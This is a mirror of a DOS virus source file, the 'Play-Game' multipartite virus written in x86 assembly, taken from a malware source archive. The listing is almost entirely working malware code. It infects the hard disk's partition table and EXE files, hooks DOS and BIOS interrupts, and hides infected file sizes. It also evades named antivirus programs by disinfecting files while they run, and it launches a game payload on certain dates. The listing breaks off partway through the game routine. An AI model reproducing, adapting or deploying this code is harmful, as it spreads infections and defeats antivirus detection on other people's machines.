mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
1266 lines
44 KiB
NASM
1266 lines
44 KiB
NASM
;------------------------------------------------------------------------------
|
||
; Play-Game VIRUS version 1
|
||
;
|
||
; Use TASM 2.01 to compile this source
|
||
; (other assemblers will probably not produce the same result)
|
||
;
|
||
; Disclaimer:
|
||
; This file is only for educational purposes. The author takes no
|
||
; responsibility for anything anyone does with this file. Do not
|
||
; modify this file!
|
||
;------------------------------------------------------------------------------
|
||
|
||
|
||
.model tiny
|
||
.RADIX 16
|
||
.code
|
||
|
||
|
||
VERSION equ 1
|
||
FILELEN equ offset last - first ;Length of virus.
|
||
VIRSEC equ (FILELEN+1FF)/200 ;Number of sectors for virus
|
||
VIRKB equ (FILELEN+3FF+100)/400 ;Length in kB.
|
||
SECLEN equ 200 ;length of a sector.
|
||
STACKLEN equ 200 ;Wanted length of stack in
|
||
;infected file.
|
||
STACKOFF equ ((FILELEN+SECLEN+STACKLEN+11)/2)*2 ;Stack offset in
|
||
;infected file.
|
||
DATAPAR equ (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to
|
||
;allocate for infected file
|
||
;(area to load part. table
|
||
;and room for stack).
|
||
BUFLEN equ 1C ;Length of buffer.
|
||
BOOTLEN equ boot_end - boot_begin ;Length of boot-routine.
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Data area for virus.
|
||
;------------------------------------------------------------------------------
|
||
|
||
org 00F0
|
||
|
||
hook db ? ;Flag for hooking int21
|
||
minibuf db (4) dup (?) ;Mini buffer for internal use.
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Data area for game.
|
||
;------------------------------------------------------------------------------
|
||
|
||
bombs db ? ;Number of bombs.
|
||
pos db ? ;Position.
|
||
oldpos db ? ;Previous position.
|
||
level db ?
|
||
kleur db ?
|
||
timer db ?
|
||
tijd dw ?
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Begin of virus, installation in partition table of harddisk
|
||
;------------------------------------------------------------------------------
|
||
|
||
org 0100
|
||
|
||
first: db '[ MK / TridenT ]' ;Author + Group.
|
||
|
||
call next
|
||
next: pop si ;Get IP.
|
||
sub si,13 ;Calculate relative offset.
|
||
mov di,0100
|
||
cld
|
||
|
||
call push_all ;Save some registers.
|
||
|
||
push cs ;Make DS and ES equal to CS.
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
|
||
mov ah,30 ;Check if DOS version >= 4.0
|
||
int 21
|
||
cmp al,4
|
||
jb not_install
|
||
|
||
cmp ax,0DEADh ;Check if another TridenT
|
||
je not_install ;(multi-partite) virus is
|
||
;resident.
|
||
|
||
mov ax,0FE02 ;Check if Tequila virus
|
||
int 21 ;is resident.
|
||
cmp ax,01FDh
|
||
je not_install
|
||
|
||
mov ax,33E4 ;Check if virus is already
|
||
int 21 ;resident.
|
||
cmp ah,0A5
|
||
je not_install
|
||
|
||
call infect_part
|
||
|
||
not_install: mov ah,2A ;Ask date.
|
||
int 21
|
||
cmp dh,12d ;december?
|
||
jb dont_play
|
||
mov ah,2C ;Ask time.
|
||
int 21
|
||
cmp ch,21d ;time > 21:00 ?
|
||
jb dont_play
|
||
|
||
mov ax,33E5 ;Play the game!
|
||
int 21
|
||
|
||
dont_play: call pop_all ;Restore registers.
|
||
|
||
add si,offset buffer-100
|
||
cmp byte ptr cs:[si],'M' ;Check if generation 0.
|
||
je entryE
|
||
|
||
int 20 ;It was a COM file (gen. 0).
|
||
|
||
entryE: mov bx,ds ;Calculate CS.
|
||
add bx,low 10
|
||
mov cx,bx
|
||
add bx,cs:[si+0E]
|
||
cli ;Restore SS and SP.
|
||
mov ss,bx
|
||
mov sp,cs:[si+10]
|
||
sti
|
||
add cx,cs:[si+16]
|
||
push cx ;Push new CS on stack.
|
||
push cs:[si+14] ;Push new IP on stack.
|
||
retf
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Infect partition table sector
|
||
;------------------------------------------------------------------------------
|
||
|
||
infect_part: lea bx,[si+last-100] ;Read partition table
|
||
mov ax,0201 ;at end of virus.
|
||
mov cx,1
|
||
mov dx,80
|
||
int 13
|
||
jc not_infect_par
|
||
|
||
cmp word ptr [bx],'KM' ;Check if already infected.
|
||
je not_infect_par
|
||
|
||
cmp word ptr [bx],05EA ;Check if infected with
|
||
je not_infect_par ;Stoned or Michelangelo.
|
||
|
||
lea di,[bx+01BE] ;Check partition info.
|
||
mov bl,4
|
||
check_part: cmp byte ptr [di+4],0 ;Skip if not a valid partition.
|
||
je next_part
|
||
cmp word ptr [di+0A],0 ;Enough room for virus?
|
||
jne next_part
|
||
cmp word ptr [di+8],VIRSEC+2
|
||
jb not_infect_par ;Quit if not enough room.
|
||
next_part: add di,10
|
||
dec bl
|
||
jnz check_part
|
||
|
||
lea bx,[si+last-100] ;Save original partition table
|
||
mov ax,0301 ;to sector 2.
|
||
mov cx,2
|
||
int 13
|
||
jc not_infect_par
|
||
|
||
lea bx,[si+first-100] ;Write the virus to sector 3.
|
||
mov ax,0300+VIRSEC
|
||
mov cx,3
|
||
int 13
|
||
jc not_infect_par
|
||
|
||
lea di,[si+last-100] ;Infect part table.
|
||
lea si,[si+boot_begin-100]
|
||
mov bx,di
|
||
mov cx,BOOTLEN
|
||
rep movsb
|
||
|
||
mov ax,0301 ;Write infected partition table
|
||
mov cx,1 ;to sector 1.
|
||
int 13
|
||
|
||
not_infect_par: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Partition table routine
|
||
;------------------------------------------------------------------------------
|
||
|
||
boot_begin: db 'MK' ;Signature (= DEC BP, DEC BX).
|
||
|
||
cld ;Initialise segments + stack.
|
||
cli
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ss,ax
|
||
mov sp,7C00
|
||
sti
|
||
|
||
mov di,0400 ;Adjust memory size.
|
||
mov ax,ds:[di+13]
|
||
sub ax,VIRKB
|
||
mov ds:[di+13],ax
|
||
|
||
mov cl,6 ;Calculate segment for
|
||
shl ax,cl ;resident virus.
|
||
mov es,ax
|
||
|
||
mov cx,BOOTLEN ;Copy virus to top.
|
||
mov si,sp ;SP=7C00
|
||
xor di,di
|
||
rep movsb
|
||
|
||
mov bx,offset here-offset boot_begin ;Jump to top.
|
||
push es
|
||
push bx
|
||
retf
|
||
|
||
here: mov ax,0200+VIRSEC ;Load complete virus.
|
||
mov cx,3
|
||
mov dx,0080
|
||
mov bx,0100
|
||
int 13
|
||
jc load_part
|
||
|
||
cli
|
||
mov ax,offset ni13 ;Set new vector 13.
|
||
xchg ds:[4*13],ax
|
||
mov cs:[oi13],ax ;Save old vector 13.
|
||
mov ax,es
|
||
xchg ds:[4*13+2],ax
|
||
mov cs:[oi13+2],ax
|
||
|
||
les bx,ds:[4*21] ;Get original vector 21.
|
||
mov cs:[oi21],bx
|
||
mov cs:[oi21+2],es
|
||
sti
|
||
|
||
mov byte ptr cs:[hook],1 ;Turn on hook-flag.
|
||
|
||
load_part: mov di,5
|
||
push ds
|
||
pop es
|
||
part_loop: mov ax,0201 ;Load original part. sector.
|
||
mov cx,2
|
||
mov dx,0080
|
||
mov bx,sp
|
||
int 13
|
||
jnc jump_part
|
||
|
||
xor ax,ax ;Reset Drive
|
||
int 13
|
||
dec di
|
||
jnz part_loop ;Try again.
|
||
int 18 ;Error: activate ROM BASIC.
|
||
|
||
jump_part: push ds ;Push next address.
|
||
push bx
|
||
retf
|
||
boot_end:
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Int 13 handler
|
||
;------------------------------------------------------------------------------
|
||
|
||
ni13: cmp byte ptr cs:[hook],0 ;Is int 21 already hooked?
|
||
je do_int13
|
||
|
||
push ds
|
||
push es
|
||
push bx
|
||
push ax
|
||
cli
|
||
|
||
xor ax,ax
|
||
mov ds,ax
|
||
|
||
les bx,ds:[4*21] ;Compare int 21 vector
|
||
mov ax,es ;with saved old vector.
|
||
|
||
cmp ax,800
|
||
ja dont_hook
|
||
cmp bx,cs:[oi21]
|
||
jne hook_21
|
||
cmp ax,cs:[oi21+2]
|
||
je dont_hook
|
||
|
||
hook_21: mov cs:[oi21],bx ;Save old vector 21.
|
||
mov cs:[oi21+2],ax
|
||
|
||
mov ds:[4*21],offset ni21 ;Set new vector 21.
|
||
mov ds:[4*21+2],cs
|
||
|
||
mov byte ptr cs:[hook],0 ;Don't hook int 21 anymore.
|
||
|
||
dont_hook: sti
|
||
pop ax
|
||
pop bx
|
||
pop es
|
||
pop ds
|
||
|
||
|
||
do_int13: cmp cx,1 ;Check if part. table
|
||
jne orgint13 ;is read or written.
|
||
cmp dx,80
|
||
jne orgint13
|
||
cmp ah,2
|
||
jb orgint13
|
||
cmp ah,3
|
||
ja orgint13
|
||
or al,al
|
||
jz orgint13
|
||
|
||
push cx
|
||
dec al
|
||
jz nothing_left
|
||
push ax ;Do original function
|
||
push bx
|
||
add bx,0200
|
||
inc cx
|
||
pushf
|
||
call dword ptr cs:[oi13]
|
||
pop bx
|
||
pop ax
|
||
|
||
nothing_left: mov al,1 ;Read/write redirected
|
||
mov cx,2 ;partition table.
|
||
pushf
|
||
call dword ptr cs:[oi13]
|
||
pop cx
|
||
retf 2
|
||
|
||
|
||
orgint13: db 0EA
|
||
oi13 dw 0, 0 ;Original int 13 vector.
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Interupt 21 handler
|
||
;------------------------------------------------------------------------------
|
||
|
||
ni21: pushf
|
||
|
||
cmp ax,33E4 ;Installation-check ?
|
||
jne not_ic
|
||
mov ax,0A500+VERSION ;Yes? Return a signature.
|
||
popf
|
||
iret
|
||
|
||
not_ic: cmp ax,33E5 ;Play game ?
|
||
jne not_pg
|
||
call play_game
|
||
popf
|
||
iret
|
||
|
||
not_pg: call push_all ;Check if interupt came from
|
||
call getname ;a program that may not see
|
||
mov dx,offset namesHI ;true length of infected file
|
||
mov cx,2+11d ;(AV program or 'DIR').
|
||
call checknames
|
||
call pop_all
|
||
jne no_hide
|
||
|
||
cmp ah,11 ;Findfirst/findnext FCB?
|
||
je its_11_12
|
||
cmp ah,12
|
||
jne not_11_12
|
||
its_11_12: popf
|
||
call findFCB
|
||
retf 2
|
||
|
||
not_11_12: cmp ah,4E ;Findfirst/findnext handle?
|
||
je its_4E_4F
|
||
cmp ah,4F
|
||
jne no_hide
|
||
its_4E_4F: popf
|
||
call findhndl
|
||
retf 2
|
||
|
||
|
||
no_hide: call push_all ;Save registers.
|
||
|
||
cmp ax,6C00 ;Open from DOS 4.0+ ?
|
||
jne not_6C00
|
||
call f_open2
|
||
jmp short exit
|
||
|
||
not_6C00: cmp ah,3Dh ;File open?
|
||
jne not_3D
|
||
call f_open
|
||
jmp short exit
|
||
|
||
not_3D: cmp ah,3E ;File close?
|
||
jne not_3E
|
||
call f_close
|
||
jmp short exit
|
||
|
||
not_3E: cmp ax,4B00 ;Program execute?
|
||
jne exit
|
||
call f_execute
|
||
|
||
exit: call pop_all ;Restore registers.
|
||
|
||
popf
|
||
|
||
db 0EA ;Original int 21.
|
||
oi21 dw 0, 0
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Interupt 24 handler
|
||
;------------------------------------------------------------------------------
|
||
|
||
ni24: mov al,3 ;To avoid 'Abort, Retry, ...'
|
||
iret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Call original int21
|
||
;------------------------------------------------------------------------------
|
||
|
||
DOS: pushf
|
||
call dword ptr cs:[oi21]
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Hide the virus from filelength
|
||
;------------------------------------------------------------------------------
|
||
|
||
findFCB: call DOS ;Call original function.
|
||
or al,al
|
||
jne ret1
|
||
pushf
|
||
push bx
|
||
push ax
|
||
push es
|
||
mov ah,2F ;Ask DTA adres.
|
||
call DOS
|
||
cmp byte ptr es:[bx],0FF ;Extended FCB?
|
||
jne vv1
|
||
add bx,7
|
||
vv1: mov al,byte ptr es:[bx+17] ;Check if infected
|
||
and al,1Fh ;(seconds=62).
|
||
cmp al,1Fh
|
||
jne dont_hide
|
||
sub word ptr es:[bx+1Dh],FILELEN ;Hide virus length.
|
||
sbb word ptr es:[bx+1F],0
|
||
dec bx
|
||
jmp short hide_time
|
||
|
||
|
||
findhndl: call DOS ;Call original function.
|
||
jc ret1
|
||
pushf
|
||
push bx
|
||
push ax
|
||
push es
|
||
mov ah,2F ;ask DTA adres
|
||
call DOS
|
||
mov al,byte ptr es:[bx+16] ;Check if infected.
|
||
and al,1Fh
|
||
cmp al,1Fh
|
||
jne dont_hide
|
||
sub word ptr es:[bx+1A],FILELEN ;Hide virus length.
|
||
sbb word ptr es:[bx+1C],0
|
||
hide_time: and byte ptr es:[bx+16],0EFh ;Also hide seconds.
|
||
dont_hide: pop es
|
||
pop ax
|
||
pop bx
|
||
popf
|
||
ret1: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Try to infect or disinfect the file
|
||
;------------------------------------------------------------------------------
|
||
|
||
f_close: cmp bx,5 ;Is handle >= 5?
|
||
jb ret1 ;Quit if not.
|
||
mov ah,45 ;Duplicate handle
|
||
jmp short doit
|
||
|
||
f_execute: mov ah,3Dh ;Open file
|
||
doit: call DOS
|
||
jc ret1
|
||
xchg ax,bx
|
||
mov bp,1 ;Flag for infect.
|
||
jmp short get_ctrlbrk
|
||
|
||
|
||
f_open2: mov dx,si ;Use 'normal' open function
|
||
mov ah,3Dh ;instead of 6C00 function.
|
||
f_open: call DOS
|
||
jc ret1
|
||
xchg ax,bx
|
||
xor bp,bp ;Flag for disinfect.
|
||
|
||
|
||
get_ctrlbrk: cld
|
||
|
||
mov ax,3300 ;Get ctrl-break flag.
|
||
call DOS
|
||
push dx
|
||
|
||
cwd ;Disable Ctrl-break.
|
||
inc ax
|
||
push ax
|
||
call DOS
|
||
|
||
mov dx,bx
|
||
mov ax,3524 ;Get int24 vector.
|
||
call DOS
|
||
push bx
|
||
push es
|
||
mov bx,dx
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov dx,offset ni24 ;Install new int24 handler.
|
||
mov ah,25
|
||
push ax
|
||
call DOS
|
||
|
||
mov ax,1220 ;Get pointer to file table
|
||
push bx
|
||
int 2F
|
||
mov bl,es:[di]
|
||
mov al,16 ;(Avoid [512] signature...)
|
||
mov ah,12
|
||
int 2F
|
||
pop bx ;ES:DI -> file table
|
||
|
||
push es
|
||
pop ds
|
||
|
||
push [di+2] ;Save attribute & open-mode.
|
||
push [di+4]
|
||
|
||
cmp word ptr [di+28],'XE' ;Check if extension is .EXE
|
||
jne close1
|
||
cmp byte ptr [di+2A],'E'
|
||
jne close1
|
||
|
||
; cmp word ptr [di+20],'XX' ;Check if name is 'XX*.EXE'
|
||
; jne close1 ;(only for test purposes).
|
||
|
||
test bp,bp ;Infect or disinfect?
|
||
jz check_disinf
|
||
|
||
mov ax,word ptr [di+20] ;Check if file may be infected.
|
||
mov dx,offset namesSC
|
||
mov cx,11d+4
|
||
call checknames
|
||
je close1
|
||
jmp short go_on
|
||
|
||
check_disinf: call getname ;Check if file must be
|
||
mov dx,offset namesSC ;disinfected (only if an
|
||
mov cx,11d ;AV program is active).
|
||
call checknames
|
||
jne close1
|
||
|
||
go_on: mov byte ptr [di+2],2 ;Open file for both read/write.
|
||
mov byte ptr [di+4],0 ;Clear attributes
|
||
call gotobegin
|
||
push ax ;Save old file offset
|
||
push dx
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov cx,BUFLEN ;Read begin of file
|
||
mov si,offset buffer ;into buffer.
|
||
mov dx,si
|
||
call read
|
||
|
||
call checkfile ;Check if file is OK to infect
|
||
jc close2 ;or disinfect.
|
||
|
||
mov ax,word ptr [si+12] ;Already infected?
|
||
add al,ah
|
||
cmp al,'#'
|
||
je is_infected
|
||
|
||
test bp,bp ;Must it be infected?
|
||
jz close2
|
||
|
||
call do_infect
|
||
|
||
is_infected: test bp,bp ;Must it be disinfected?
|
||
jnz close2
|
||
|
||
call do_disinfect
|
||
|
||
close2: push es
|
||
pop ds
|
||
|
||
pop dx ;Restore file offset.
|
||
pop ax
|
||
call goto
|
||
or byte ptr [di+6],40 ;Don't change file-time.
|
||
|
||
close1: mov ah,3E ;Close the file.
|
||
call DOS
|
||
|
||
or byte ptr [di+5],40 ;No EOF on next close.
|
||
pop [di+4] ;Restore attribute & open-mode.
|
||
pop [di+2]
|
||
|
||
pop ax ;Restore int 24 vector.
|
||
pop ds
|
||
pop dx
|
||
call DOS
|
||
|
||
pop ax ;Restore ctrl-break flag.
|
||
pop dx
|
||
call DOS
|
||
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Special filenames
|
||
;------------------------------------------------------------------------------
|
||
|
||
namesHI db 'CO', '4D' ;COMMAND.COM and 4DOS.
|
||
namesSC db 'SC', 'CL', 'VS', 'NE' ;AV programs.
|
||
db 'HT', 'TB', 'VI', 'F-'
|
||
db 'FI', 'GI', 'IM'
|
||
namesCH db 'RA', 'FE', 'MT', 'BR' ;Some self-checking
|
||
;programs.
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Check the file
|
||
;------------------------------------------------------------------------------
|
||
|
||
checkfile: cmp word ptr [si],'ZM' ;Is it a normal EXE ?
|
||
jne not_good
|
||
|
||
cmp word ptr [si+18],40 ;Check if it is a windows/OS2
|
||
jb not_win ;EXE file.
|
||
|
||
mov ax,003C ;Read pointer to NE header.
|
||
cwd
|
||
call readbytes
|
||
jc not_good
|
||
|
||
mov ax,word ptr [si+BUFLEN] ;Read NE header.
|
||
mov dx,word ptr [si+BUFLEN+2]
|
||
call readbytes
|
||
jc not_good
|
||
|
||
cmp byte ptr [si+BUFLEN+1],'E' ;Quit if it is a NE
|
||
je not_good ;header.
|
||
|
||
not_win: call getlen
|
||
call calclen ;Check for internal overlays.
|
||
cmp word ptr [si+4],ax
|
||
jne not_good
|
||
cmp word ptr [si+2],dx
|
||
jne not_good
|
||
|
||
cmp word ptr [si+0C],0 ;High memory allocation?
|
||
je not_good
|
||
|
||
cmp word ptr [si+1A],0 ;Overlay nr. not zero?
|
||
jne not_good
|
||
|
||
clc ;File is OK.
|
||
ret
|
||
|
||
not_good: stc ;File is not OK.
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Write virus to the program
|
||
;------------------------------------------------------------------------------
|
||
|
||
do_infect: call getlen ;Go to end of file.
|
||
call goto
|
||
|
||
mov dx,0100 ;Write virus.
|
||
mov cx,FILELEN
|
||
call write
|
||
cmp ax,cx ;Are all bytes written?
|
||
jne not_infect
|
||
|
||
call getoldlen ;Calculate new CS & IP.
|
||
mov cx,0010
|
||
div cx
|
||
sub ax,word ptr [si+8]
|
||
add dx,low 10
|
||
|
||
mov word ptr [si+16],ax ;Put CS in header.
|
||
mov word ptr [si+0E],ax ;Put SS in header.
|
||
mov word ptr [si+14],dx ;Put IP in header.
|
||
mov word ptr [si+10],STACKOFF ;Put SP in header.
|
||
|
||
call getlen ;Put new length in header.
|
||
call calclen
|
||
mov word ptr [si+4],ax
|
||
mov word ptr [si+2],dx
|
||
|
||
push di
|
||
lea di,[si+0A] ;Adjust mem. allocation info.
|
||
call mem_adjust
|
||
lea di,[si+0C]
|
||
call mem_adjust
|
||
pop di
|
||
|
||
call gotobegin ;Write new begin of file.
|
||
in al,40
|
||
mov ah,'#'
|
||
sub ah,al
|
||
mov word ptr [si+12],ax
|
||
mov cx,BUFLEN
|
||
mov dx,si
|
||
call write
|
||
|
||
or byte ptr es:[di+0Dh],1F ;set filetime to 62 sec.
|
||
|
||
not_infect: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Disinfect the program
|
||
;------------------------------------------------------------------------------
|
||
|
||
do_disinfect: call getoldlen ;Go to original end of file
|
||
add ax,(offset buffer-100)
|
||
adc dx,0
|
||
call goto ;Go to buffer in virus.
|
||
|
||
mov dx,si ;Read buffer.
|
||
mov cx,BUFLEN
|
||
call read
|
||
|
||
cmp word ptr [si],'ZM' ;Is there an EXE header
|
||
jne not_disinfect ;in the buffer?
|
||
|
||
call gotobegin ;Write the buffer to
|
||
mov dx,si ;begin of file.
|
||
mov cx,BUFLEN
|
||
call write
|
||
|
||
call getoldlen ;Restore original length
|
||
mov es:[di+11],ax ;of file.
|
||
mov es:[di+13],dx
|
||
|
||
and byte ptr es:[di+0Dh],0E0 ;Seconds = 0.
|
||
|
||
not_disinfect: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Get name of current process
|
||
;------------------------------------------------------------------------------
|
||
|
||
getname: push ds
|
||
push bx
|
||
|
||
mov ah,62 ;Get PSP address.
|
||
call DOS
|
||
dec bx
|
||
mov ds,bx
|
||
mov ax,ds:[0008] ;Get first 2 characters
|
||
;of current process name.
|
||
pop bx
|
||
pop ds
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Check names
|
||
;------------------------------------------------------------------------------
|
||
|
||
checknames: push di
|
||
push es
|
||
|
||
push cs ;Search name in list CS:DX
|
||
pop es
|
||
mov di,dx
|
||
repnz scasw
|
||
|
||
pop es
|
||
pop di
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Calculate length for EXE header
|
||
;------------------------------------------------------------------------------
|
||
|
||
calclen: mov cx,0200 ;Divide by 200h
|
||
div cx
|
||
or dx,dx ;Correction?
|
||
jz no_cor
|
||
inc ax
|
||
no_cor: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Adjust mem allocation info in EXE header
|
||
;------------------------------------------------------------------------------
|
||
|
||
mem_adjust: cmp word ptr [di],DATAPAR ;Enough memory allocated?
|
||
jnb mem_ok
|
||
mov word ptr [di],DATAPAR ;Minimum amount to allocate.
|
||
mem_ok: ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Read a few bytes
|
||
;------------------------------------------------------------------------------
|
||
|
||
readbytes: call goto ;Go to DX:AX and read 4 bytes
|
||
mov dx,offset minibuf ;from that location into
|
||
mov cx,4 ;mini-buffer.
|
||
read: mov ah,3F
|
||
call DOS
|
||
ret
|
||
|
||
write: mov ah,40 ;Write function.
|
||
call DOS
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Get original length of program
|
||
;------------------------------------------------------------------------------
|
||
|
||
getoldlen: call getlen
|
||
sub ax,FILELEN
|
||
sbb dx,0
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Get length of program
|
||
;------------------------------------------------------------------------------
|
||
|
||
getlen: mov ax,es:[di+11]
|
||
mov dx,es:[di+13]
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Goto new offset DX:AX
|
||
;------------------------------------------------------------------------------
|
||
|
||
gotobegin: xor ax,ax
|
||
cwd
|
||
goto: xchg ax,es:[di+15]
|
||
xchg dx,es:[di+17]
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Push all registers on stack
|
||
;------------------------------------------------------------------------------
|
||
|
||
push_all: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
mov bp,sp
|
||
jmp [bp+12]
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Pop all registers from stack
|
||
;------------------------------------------------------------------------------
|
||
|
||
pop_all: pop ax
|
||
mov bp,sp
|
||
mov [bp+12],ax
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Game
|
||
;------------------------------------------------------------------------------
|
||
|
||
play_game: call rnd_init ;Initialize random number
|
||
;generator.
|
||
mov ah,0F ;Get video mode.
|
||
int 10
|
||
|
||
xor ah,ah ;Clear screen and set to
|
||
push ax ;40 column mode.
|
||
mov al,1
|
||
int 10
|
||
|
||
mov ah,3 ;Clear cursor.
|
||
int 10
|
||
push cx
|
||
mov ah,1
|
||
xor cx,cx
|
||
int 10
|
||
|
||
start_game: push cs
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
|
||
xor al,al ;Clear screen
|
||
call scroll_screen
|
||
|
||
mov si,offset orgvalues ;Initialize parameters.
|
||
mov di,offset bombs
|
||
movsw
|
||
xor ax,ax
|
||
stosw
|
||
stosw
|
||
stosw
|
||
|
||
mov dx,0B800 ;ES points to screen memory.
|
||
mov es,dx
|
||
|
||
mov si,offset beginmess ;Print first message.
|
||
mov di,40d*2*5+20d
|
||
mov cx,12d
|
||
call print_it2
|
||
|
||
mov di,40d*2*9+4
|
||
mov cl,20d
|
||
call print_it2
|
||
|
||
mov di,40d*2*20d+24d
|
||
mov cl,16d
|
||
call print_it
|
||
|
||
call wachttoets ;Wait for keypress or timeout.
|
||
|
||
xor al,al ;Clear screen.
|
||
call scroll_screen
|
||
|
||
main_lup: mov al,byte ptr [oldpos] ;Clear old position.
|
||
call gotopos
|
||
mov ax,0700
|
||
stosw
|
||
|
||
mov al,byte ptr [pos]
|
||
mov byte ptr [oldpos],al
|
||
|
||
mov al,1 ;Scroll screen up.
|
||
call scroll_screen
|
||
|
||
mov al,byte ptr [pos] ;Goto current position.
|
||
call gotopos
|
||
mov al,es:[di] ;Hit a block?
|
||
cmp al,0FE
|
||
mov ax,0E02 ;Print smily face.
|
||
stosw
|
||
je stop_game
|
||
|
||
call print_bombs ;Print a number of bombs.
|
||
|
||
call wacht
|
||
|
||
in al,61 ;Make 'click' sound.
|
||
push ax
|
||
or al,3
|
||
out 61,al
|
||
|
||
call check_key ;Check for shift keys.
|
||
|
||
pop ax ;Turn 'click' off
|
||
out 61,al
|
||
|
||
inc byte ptr [timer] ;Check timer.
|
||
mov al,byte ptr [timer]
|
||
and al,7F
|
||
jnz not_zero
|
||
inc byte ptr [kleur] ;Change color and number of
|
||
inc byte ptr [bombs] ;bombs every 128th row.
|
||
|
||
not_zero: cmp al,12d
|
||
jne main_lup
|
||
|
||
inc byte ptr [level] ;Increase level as soon as
|
||
cmp byte ptr [level],9 ;new color has reached.
|
||
jb main_lup ;position. Maximum is 9.
|
||
|
||
|
||
stop_game: mov ax,0E07 ;Beep!
|
||
int 10
|
||
|
||
mov si,offset endmess ;Print message 'You reached..'.
|
||
mov di,40d*2*24d
|
||
mov cx,18d
|
||
call print_it
|
||
|
||
mov al,byte ptr [level] ;Print reached level.
|
||
add al,30
|
||
stosw
|
||
|
||
add di,20d ;Print message 'Play again?'.
|
||
mov cl,11d
|
||
call print_it
|
||
|
||
|
||
call wachttoets ;Wait for key or timeout.
|
||
jz stop_echt
|
||
or al,20
|
||
cmp al,'y' ;Play again if 'Y' was
|
||
jne stop_echt ;pressed.
|
||
jmp start_game
|
||
|
||
stop_echt: pop cx
|
||
mov ah,1
|
||
int 10
|
||
|
||
pop ax ;clear screen
|
||
int 10
|
||
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Print CX characters from DS:SI to ES:DI
|
||
;------------------------------------------------------------------------------
|
||
|
||
print_it: lodsb
|
||
mov ah,7
|
||
stosw
|
||
loop print_it
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Print CX characters from DS:SI to ES:DI (wide)
|
||
;------------------------------------------------------------------------------
|
||
|
||
print_it2: lodsb
|
||
mov ah,7
|
||
stosw
|
||
mov al,20
|
||
stosw
|
||
loop print_it2
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Go to position on screen.
|
||
;------------------------------------------------------------------------------
|
||
|
||
gotopos: cbw
|
||
shl ax,1
|
||
mov di,40d*2*12d
|
||
add di,ax
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Scroll the screen up AL rows
|
||
;------------------------------------------------------------------------------
|
||
|
||
scroll_screen: push bx
|
||
mov ah,06
|
||
mov bh,7
|
||
mov cx,0
|
||
mov dx,(25d-1)*100+(40d-1)
|
||
int 10
|
||
pop bx
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Print some bombs at bottom row.
|
||
;------------------------------------------------------------------------------
|
||
|
||
print_bombs: mov cl,byte ptr [bombs] ;Number of bombs.
|
||
xor ch,ch
|
||
bomb_lup: call rnd_get ;Calculate position.
|
||
cmp al,(40d-1)
|
||
ja bomb_lup
|
||
cbw
|
||
shl ax,1
|
||
mov di,40d*2*(25d-1)
|
||
add di,ax
|
||
mov al,byte ptr [kleur] ;Calculate color.
|
||
mov bx,offset colors
|
||
xlat
|
||
xchg ah,al
|
||
mov al,0FE ;Print bomb.
|
||
stosw
|
||
loop bomb_lup
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Wait a short time.
|
||
;------------------------------------------------------------------------------
|
||
|
||
wacht: mov dx,word ptr [tijd]
|
||
add dx,2
|
||
xor ax,ax
|
||
mov ds,ax
|
||
time_lup: mov ax,ds:[046C] ;Get current time.
|
||
cmp ax,dx
|
||
jb time_lup
|
||
|
||
push cs
|
||
pop ds
|
||
mov word ptr [tijd],ax
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------------------
|
||
; Wait for timeout or keypress.
|
||
;------------------------------------------------------------------------------
|
||
|
||
wachttoets: mov ah,1 ;Empty keyboard buffer.
|
||
int 16
|
||
jz now_empty
|
||
xor ah,ah
|
||
int 16
|
||
jmp short wachttoets
|
||
|
||
now_empty: xor ax,ax
|
||
mov ds,ax
|
||
mov dx,ds:[046C]
|
||
add dx,18d*8
|
||
wt_lup: mov ah,1 ;Check key.
|
||
int 16
|
||
jnz stop_waiting
|
||
mov ax,ds:[046C] ;Check time.
|
||
cmp ax,dx
|
||
